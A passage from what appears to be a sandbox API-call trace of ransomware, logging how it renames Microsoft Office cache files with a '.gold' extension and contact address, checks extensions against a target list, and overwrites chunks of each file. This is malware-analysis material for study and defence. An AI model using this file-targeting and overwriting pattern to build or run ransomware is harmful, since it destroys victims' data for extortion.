lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.703] ReadFile (in: hFile=0x18c, lpBuffer=0x36c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x36c0058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.718] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.719] WriteFile (in: hFile=0x18c, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2b6fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0037.029] SetEndOfFile (hFile=0x18c) returned 1 [0037.029] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f44098 [0037.029] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.029] WriteFile (in: hFile=0x18c, lpBuffer=0x3f44098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f44098*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.030] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.030] WriteFile (in: hFile=0x18c, lpBuffer=0x3f44098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f44098*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.034] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.034] WriteFile (in: hFile=0x18c, lpBuffer=0x3f44098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f44098*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.035] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f44098 | out: hHeap=0x880000) returned 1 [0037.036] CloseHandle (hObject=0x18c) returned 1 [0037.369] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0037.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0037.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0037.369] lstrlenW (lpString=".doc") returned 4 [0037.369] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0037.369] lstrlenW (lpString=".docx") returned 5 [0037.369] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0037.369] lstrlenW (lpString=".pdf") returned 4 [0037.369] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0037.369] lstrlenW (lpString=".xls") returned 4 [0037.369] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0037.369] lstrlenW (lpString=".xlsx") returned 5 [0037.369] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0037.369] lstrlenW (lpString=".ppt") returned 4 [0037.369] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0037.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0037.369] lstrlenW (lpString=".zip") returned 4 [0037.369] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0037.369] lstrlenW (lpString=".rar") returned 4 [0037.369] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0037.369] lstrlenW (lpString=".bz2") returned 4 [0037.369] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0037.369] lstrlenW (lpString=".7z") returned 3 [0037.369] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0037.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0037.369] lstrlenW (lpString=".dbf") returned 4 [0037.369] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0037.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0037.369] lstrlenW (lpString=".1cd") returned 4 [0037.369] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0037.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0037.370] lstrlenW (lpString=".jpg") returned 4 [0037.370] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0037.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0037.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0037.370] lstrlenW (lpString=".doc") returned 4 [0037.370] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0037.370] lstrlenW (lpString=".docx") returned 5 [0037.370] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0037.370] lstrlenW (lpString=".pdf") returned 4 [0037.370] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0037.370] lstrlenW (lpString=".xls") returned 4 [0037.370] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0037.370] lstrlenW (lpString=".xlsx") returned 5 [0037.370] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0037.370] lstrlenW (lpString=".ppt") returned 4 [0037.370] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0037.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0037.370] lstrlenW (lpString=".zip") returned 4 [0037.370] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0037.370] lstrlenW (lpString=".rar") returned 4 [0037.370] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0037.370] lstrlenW (lpString=".bz2") returned 4 [0037.370] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0037.370] lstrlenW (lpString=".7z") returned 3 [0037.370] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0037.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0037.370] lstrlenW (lpString=".dbf") returned 4 [0037.370] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0037.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0037.370] lstrlenW (lpString=".1cd") returned 4 [0037.370] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0037.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0037.370] lstrlenW (lpString=".jpg") returned 4 [0037.370] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0037.370] lstrcmpiW (lpString1=".cab", lpString2=".gold") returned -1 [0037.370] lstrlenW (lpString="WordLR.cab") returned 10 [0037.370] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0037.371] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=43806141) returned 1 [0037.371] CloseHandle (hObject=0x18c) returned 1 [0037.371] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab")) returned 0x2020 [0037.371] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0037.371] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0037.371] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0037.371] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc6c | out: lpNewFilePointer=0x0) returned 1 [0037.371] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0037.372] ReadFile (in: hFile=0x18c, lpBuffer=0x3640058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x3640058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.377] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0037.377] ReadFile (in: hFile=0x18c, lpBuffer=0x3680058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x3680058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.383] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b6fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0037.383] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0037.383] ReadFile (in: hFile=0x18c, lpBuffer=0x36c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x36c0058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.577] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.577] WriteFile (in: hFile=0x18c, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2b6fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0037.590] SetEndOfFile (hFile=0x18c) returned 1 [0037.590] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f44098 [0037.590] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.590] WriteFile (in: hFile=0x18c, lpBuffer=0x3f44098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f44098*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.591] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.591] WriteFile (in: hFile=0x18c, lpBuffer=0x3f44098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f44098*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.592] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.592] WriteFile (in: hFile=0x18c, lpBuffer=0x3f44098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f44098*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.594] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f44098 | out: hHeap=0x880000) returned 1 [0037.594] CloseHandle (hObject=0x18c) returned 1 [0039.544] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0039.544] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0039.544] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0039.544] lstrlenW (lpString=".doc") returned 4 [0039.544] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0039.544] lstrlenW (lpString=".docx") returned 5 [0039.544] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0039.544] lstrlenW (lpString=".pdf") returned 4 [0039.544] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0039.544] lstrlenW (lpString=".xls") returned 4 [0039.544] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0039.545] lstrlenW (lpString=".xlsx") returned 5 [0039.545] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0039.545] lstrlenW (lpString=".ppt") returned 4 [0039.545] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0039.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0039.545] lstrlenW (lpString=".zip") returned 4 [0039.545] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0039.545] lstrlenW (lpString=".rar") returned 4 [0039.545] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0039.545] lstrlenW (lpString=".bz2") returned 4 [0039.545] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0039.545] lstrlenW (lpString=".7z") returned 3 [0039.545] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0039.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0039.545] lstrlenW (lpString=".dbf") returned 4 [0039.545] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0039.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0039.545] lstrlenW (lpString=".1cd") returned 4 [0039.545] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0039.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0039.545] lstrlenW (lpString=".jpg") returned 4 [0039.545] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0039.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0039.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0039.545] lstrlenW (lpString=".doc") returned 4 [0039.545] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0039.545] lstrlenW (lpString=".docx") returned 5 [0039.545] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0039.545] lstrlenW (lpString=".pdf") returned 4 [0039.545] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0039.545] lstrlenW (lpString=".xls") returned 4 [0039.545] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0039.545] lstrlenW (lpString=".xlsx") returned 5 [0039.545] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0039.545] lstrlenW (lpString=".ppt") returned 4 [0039.545] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0039.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0039.545] lstrlenW (lpString=".zip") returned 4 [0039.545] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0039.545] lstrlenW (lpString=".rar") returned 4 [0039.545] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0039.545] lstrlenW (lpString=".bz2") returned 4 [0039.545] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0039.545] lstrlenW (lpString=".7z") returned 3 [0039.545] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0039.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0039.545] lstrlenW (lpString=".dbf") returned 4 [0039.545] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0039.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0039.545] lstrlenW (lpString=".1cd") returned 4 [0039.545] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0039.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0039.546] lstrlenW (lpString=".jpg") returned 4 [0039.546] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0039.546] lstrcmpiW (lpString1=".cab", lpString2=".gold") returned -1 [0039.546] lstrlenW (lpString="Proof.cab") returned 9 [0039.546] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0039.546] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=21064532) returned 1 [0039.546] CloseHandle (hObject=0x18c) returned 1 [0039.546] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab")) returned 0x2020 [0039.546] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0039.546] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0039.757] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0039.757] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc6c | out: lpNewFilePointer=0x0) returned 1 [0039.758] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0039.758] ReadFile (in: hFile=0x18c, lpBuffer=0x3640058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x3640058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.762] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0039.762] ReadFile (in: hFile=0x18c, lpBuffer=0x3680058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x3680058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.771] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b6fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0039.771] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0039.771] ReadFile (in: hFile=0x18c, lpBuffer=0x36c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x36c0058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.787] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.787] WriteFile (in: hFile=0x18c, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2b6fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0039.798] SetEndOfFile (hFile=0x18c) returned 1 [0039.798] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f8c0a8 [0040.040] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0040.040] WriteFile (in: hFile=0x18c, lpBuffer=0x3f8c0a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8c0a8*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.289] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0040.289] WriteFile (in: hFile=0x18c, lpBuffer=0x3f8c0a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8c0a8*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.290] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0040.290] WriteFile (in: hFile=0x18c, lpBuffer=0x3f8c0a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8c0a8*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.346] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f8c0a8 | out: hHeap=0x880000) returned 1 [0040.357] CloseHandle (hObject=0x18c) returned 1 [0042.036] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0042.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.037] lstrlenW (lpString=".doc") returned 4 [0042.037] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.037] lstrlenW (lpString=".docx") returned 5 [0042.037] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0042.037] lstrlenW (lpString=".pdf") returned 4 [0042.037] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.037] lstrlenW (lpString=".xls") returned 4 [0042.037] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.037] lstrlenW (lpString=".xlsx") returned 5 [0042.037] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0042.037] lstrlenW (lpString=".ppt") returned 4 [0042.037] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.037] lstrlenW (lpString=".zip") returned 4 [0042.037] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.037] lstrlenW (lpString=".rar") returned 4 [0042.037] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.037] lstrlenW (lpString=".bz2") returned 4 [0042.037] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.037] lstrlenW (lpString=".7z") returned 3 [0042.037] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.037] lstrlenW (lpString=".dbf") returned 4 [0042.037] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.037] lstrlenW (lpString=".1cd") returned 4 [0042.037] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.037] lstrlenW 